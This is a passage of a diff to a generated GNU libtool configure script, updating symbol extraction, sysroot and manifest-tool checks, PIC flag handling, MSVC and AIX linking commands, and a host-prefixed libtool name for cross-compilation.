--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -6883,6 +7201,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -6924,6 +7243,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -6935,7 +7266,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -6961,8 +7292,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -6972,8 +7303,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -7010,6 +7341,21 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-+
-+
-+
-+
-+
-
-
-
-@@ -7026,6 +7372,40 @@ fi
-
-
-
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -7237,6 +7617,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if ${lt_cv_path_mainfest_tool+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -7800,6 +8297,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -7995,7 +8494,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8084,7 +8584,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8382,8 +8882,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -8549,6 +9047,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -8611,7 +9115,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -8668,13 +9172,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -8735,6 +9243,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -9085,7 +9598,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9184,12 +9698,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -9203,8 +9717,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -9222,8 +9736,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9269,8 +9783,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9400,7 +9914,13 @@ _LT_EOF
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9413,22 +9933,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9440,7 +9967,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9453,22 +9986,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -9513,20 +10053,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -9587,7 +10170,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -9595,7 +10178,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -9611,7 +10194,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -9635,10 +10218,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -9717,23 +10300,36 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ # This should be the same for all languages, so no per-tag cache variable.
